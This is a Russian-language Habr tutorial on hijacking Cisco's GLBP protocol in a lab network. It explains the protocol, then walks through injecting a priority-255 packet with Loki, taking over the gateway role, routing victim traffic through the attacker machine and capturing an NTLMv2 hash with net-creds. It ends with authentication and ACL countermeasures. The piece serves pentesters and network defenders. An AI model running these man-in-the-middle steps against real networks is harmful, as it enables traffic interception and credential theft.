Как стать автором
Обновить

GLBP Nightmare. Как атаковать протокол GLBP и перехватить трафик внутри сети

Уровень сложностиСредний
Время на прочтение6 мин
Количество просмотров7K

В моей статье ты узнаешь, что может значить наличие протокола GLBP в сети для пентестера. А также, будут рассмотрены превентивные меры, позволяющие повысить уровень безопасности домена GLBP. Эта работа содержит в себе теоретическую часть и практическую, в которой будет раскрыт импакт при проведении атаки.

Author: Caster

Disclaimer

Данная статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и ресурс Habr не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Intro

GLBP (Gateway Load Balancing Protocol) - это проприетарная разработка инженеров Cisco Systems, созданная для организации системы горячего резервирования маршрутизаторов и балансировки нагрузки. Входит в класс протоколов первого перехода (FHRP - First Hop Redundancy Protocol). Кстати говоря, в отличии от известных HSRP и VRRP, GLBP предлагает настоящую балансировку нагрузки (например, Round-Robin, Host-Dependent, Weighted-like). По умолчанию, GLBP использует Round-Robin балансировку. А использование HSRP/VRRP предполагает только организацию резервирования, так называемая "псевдобалансировка" А хотя... Тот или иной HSRP/VRRP-маршрутизатор можно настроить таким образом, чтобы каждый из них отвечал за обработку трафика той или иной VLAN-сети, но это совсем другая история. Так как GLBP является проприетарной разработкой инженеров Cisco, он может быть использован только на оборудовании Cisco.

GLBP работает аналогично, но совсем не идентично его родственникам HSRP и VRRP. Протоколы HSRP и VRRP позволяют объединить несколько физических маршрутизаторов в один логический маршрутизатор с общим IP-адресом. А этот самый общий (виртуальный) IP-адрес будет использоваться в качестве адреса шлюза по умолчанию для хостов в сети. Но при этом, весь потенциал вычислительных ресурсов зарезервированных маршрутизаторов почти не используется. Организовывается только система горячего резервирования. В случае падения "главного" маршрутизатора, один из резервных перехватит роль "главного" и будет отвечать за всю обработку трафика. GLBP же может предложить распределение нагрузки на несколько маршрутизаторов в рамках одной GLBP-группы.

Для трансляции и обработки служебной информации, GLBP использует зарезервированный IP-адрес групповой рассылки 224.0.0.102 и протокол транспортного уровня UDP под номером порта 3222. Специальные пакеты приветствия "GLBP Hello" отправляются каждые 3 секунды. Если в течении 10 секунд GLBP-маршрутизатор не получил пакет приветствия от соседа, то сосед будет признан "мертвым" и выпадет из домена GLBP.

Дамп легитимного GLBP-трафика
Дамп легитимного GLBP-трафика

Ограничения в использовании GLBP

  • Протокол GLBP может использоваться только в сетях Ethernet

  • Если GLBP сконфигурирован на логическом (802.1Q Encapsulation) интерфейсе, то номер группы GLBP должен отличаться от номера VLAN-сети

  • Маршрутизатор должен поддерживать какое-то количество каких-либо MAC-адресов на одном физическом интерфейсе

  • В рамках одной GLBP может быть задействовано до 1024 физических маршрутизаторов и только до 4-х виртуальных маршрутизаторов, занимающихся обработкой легитимного трафика. Т.е. балансировка нагрузки могут организовывать только 4 маршрутизатора.

Терминология и сущности в домене GLBP

AVG (Active Virtual Gateway) - маршрутизатор с главенствующей ролью, также отвечает за раздачу MAC-адресов остальным маршрутизаторам в рамках одной GLBP группы. Эдакий "босс" в GLBP-домене. AVG указывает остальным маршрутизаторам, как распределять трафик по средству раздачи им MAC-адресов, когда прилетает ARP-запрос. Стоит отметить, что в домене GLBP, AVG-маршрутизатор может быть только один, но он также может быть AVF-членом.

AVF (Active Virtual Forwarder) - маршрутизатор в группе GLBP, занимающийся обработкой трафика в сети.

GLBP Priority - значение приоритета, определяющее какой маршрутизатор в GLBP группе будет AVG. По умолчанию это значение равно 100 (диапазон приоритета может быть от 1 до 255). Может настраиваться вручную, т.е. сетевой инженер сам определяет, какой роутер будет "начальником", а какой будет "подчиненным". Чем выше приоритет, тем больше вероятность, что маршрутизатор получит AVG-роль. Обычно AVG-роль даётся более мощным маршрутизаторам.

GLBP Weight - значение так называемого "веса" маршрутизатора в GLBP-группе. GLBP Weight определяет уровень нагрузки на маршрутизатор. Это значение "плавающее" и может меняться в зависимости от нагрузки на физический канал (задействован механизм Object Tracking), но может настраиваться и вручную.

GLBP Virtual IP Address - виртуальный IP-адрес в домене GLBP. Используется в качестве адреса шлюза по умолчанию для легитимных хостов.

GLBP Hijacking

Тех­ника этой сетевой ата­ки зак­люча­ется в том, что­бы навязать свое устрой­ство в качес­тве глав­ного мар­шру­тиза­тора с помощью инъ­екции вредоносного GLBP-пакета с мак­сималь­ным зна­чени­ем при­ори­тета. Успешная экс­плу­ата­ция при­водит к MITM-ата­ке, в резуль­тате которой ты смо­жешь перех­ватить тра­фик внут­ри сети, про­водить редирект или выз­вать DoS. Дос­таточ­но собрать GLBP-пакет с наивыс­шим зна­чени­ем при­ори­тета 255 и нап­равить его в сто­рону локаль­ной сети.

Видео с моей демонстрацией GLBP Hijacking атаки: https://www.youtube.com/watch?v=X_rCoaWcQpA

Как будет ходить трафик до проведения атаки
Как будет ходить трафик до проведения атаки
Как будет ходить трафик после проведения атаки
Как будет ходить трафик после проведения атаки

Стенд

В качестве стенда для практической части статьи выступит следующая сеть:

  • Маршрутизаторы Cisco vIOS - GW1 и GW2

  • Коммутаторы Cisco vIOS - SW1 и SW2

  • Машина с Windows, выступающая в качестве шары SMB - Dustup

  • Машина с Debian, выступающая в качестве FTP сервера - Papercut

  • Машина с Kali Linux, выступающая в качестве ОС злоумышленника - Evil

  • Машина с Linux Mint, выступающая в качестве легитимного хоста - Boundless

Как реализован FHRP в сети
Как реализован FHRP в сети
Сеть с использованием GLBP
Сеть с использованием GLBP
IP-адресация сети
IP-адресация сети

Вооружение

Для проведения атаки я буду использовать Loki. Это специальный пакетный инжектор, позволяющий проводить атаки на L2/L3 протоколы, также он умеет и в GLBP-инъекцию, когда в Scapy нет реализации протокола GLBP. Он выполнит инъекцию вредоносного GLBP-пакета со значением 255, что в свою очередь позволяет нам получить AVG-роль. В итоге, у нас появляется возможность перехватывать трафик.

Loki
Loki

Для проведения атаки нам понадобится следующая информация:

  • IP-адрес AVG-маршрутизатора (Active маршрутизатора)

  • Используемый виртуальный IP-адрес

Всю необходимую информацию ты сможешь извлечь путем анализа GLBP-трафика

Информация о маршрутизаторе GW1 (AVG)
Информация о маршрутизаторе GW1 (AVG)
Информация о маршрутизаторе GW2 (AVF)
Информация о маршрутизаторе GW2 (AVF)

Проведение атаки на домен GLBP и перехват трафика

В первую очередь нам необходимо переключить интерфейс в неразборчивый режим и разрешить маршрутизацию трафика.

caster@kali:~$ sudo ifconfig eth0 promisc
caster@kali:~$ sudo sysctl -w net.ipv4.ip_forward=1

Запускаем Loki.

caster@kali:~$ sudo loki_gtk.py

Выбираем интерфейс.

Выбор интерфейса
Выбор интерфейса

Loki обнаружил GLBP-объявления маршрутизаторов GW1 и GW2.

GLBP-объявления от GW1 и GW2
GLBP-объявления от GW1 и GW2

Выбираем маршрутизатор GW1 под адресом 10.10.100.100 и начинаем инжект с помощью опции Get IP

Начало атаки
Начало атаки

Строение вредоносного GLBP-пакета. Приоритет максимальный, как и значение веса (GLBP Weight)

"Скелет" GLBP-инъекции
"Скелет" GLBP-инъекции

После выполнения инъекции необходимо создать вторичный IP-адрес на нашем сетевом интерфейсе со значением виртуального IP-адреса. Также укажем 24-битную маску.

caster@kali:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0

Для того, чтобы видеть не только входящий трафик, но и исходящий - настроим правило SNAT (MASQUEARDING).

caster@kali:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Теперь нужно удалить маршрут по умолчанию на нашей машине и прописать новый, который будет ходить через бывший AVG-маршрутизатор. Даже не смотря на то, что мы отжали AVG-роль у маршрутизатора GW1 - он всё равно сможет выполнить маршрутизацию трафика.

caster@kali:~$ sudo route del default
caster@kali:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Вот и всё, мы стали "человеком по середине", теперь у нас есть возможности для осуществления:

  • MiTM-атаки

  • DoS-атаки

  • Перенаправления трафика

Воспользуемся инструментом net-creds.py для перехвата чувствительных данных из сетевого трафика. И для теста я прочитаю SMB-шару (Находится на машине Dustup)

caster@kali:~$ sudo python2 net-creds/net-creds.py -i eth0
Чтение SMB-шары с тачки Boundless
Чтение SMB-шары с тачки Boundless
Перехваченный NTLMv2-хэш
Перехваченный NTLMv2-хэш
Взломанный пароль пользователя radiant
Взломанный пароль пользователя radiant

Превентивные меры

  • Аутентификация. Использование аутентификации не позволяет неавторизованным маршрутизаторам входить в процесс GLBP.

GW1(config)# interface GigabitEthernet0/0
GW1(config)# glbp 1 authentication md5-string i_4m_p4percut
GW2(config)# interface GigabitEthernet0/0
GW2(config)# glbp 1 authentication md5-string i_4m_p4percut
  • Ограничение GLBP-трафика. С помощью механизма ACL можно дропать GLBP-трафик (GLBP использует адрес 224.0.0.102 и UDP под номером порта 3222)

GW1(config)# ip access-list extended DropGLBP
GW1(config-ext-nacl)# permit udp 10.10.100.0 0.0.0.3 eq 3222 host 224.0.0.102 
GW1(config-ext-nacl)# deny udp any eq 3222 any eq 3222
GW1(config-ext-nacl)# permit ip any any 
GW1(config)# interface GigabitEthernet0/0
GW1(config-if)# ip access-group DropGLBP in
GW2(config)# ip access-list extended DropGLBP
GW2(config-ext-nacl)# permit udp 10.10.100.0 0.0.0.3 eq 3222 host 224.0.0.102 
GW2(config-ext-nacl)# deny udp any eq 3222 any eq 3222
GW2(config-ext-nacl)# permit ip any any 
GW2(config)# interface GigabitEthernet0/0
GW2(config-if)# ip access-group DropGLBP in

Outro

Вот таким образом можно провести атаку на протокол GLBP. Кстати говоря, данная атака может служить отличной альтернативой популярному ARP-спуфингу, открываются большие возможности даже для проведения различных Relay-атак в доменах Active Directory.

Протокол достаточно редко где используется в рамках продакшна, но тем не менее, меня это не остановило написать статью. Думаю, моя работа подарит пентестерам новый вектор атаки, а сетевые администраторы повысят уровень безопасности своих сетей.

Теги:
Хабы:
+6
Комментарии4

Публикации

Истории

Работа

Ближайшие события

Weekend Offer в AliExpress
Дата20 – 21 апреля
Время10:00 – 20:00
Место
Онлайн
Конференция «Я.Железо»
Дата18 мая
Время14:00 – 23:59
Место
МоскваОнлайн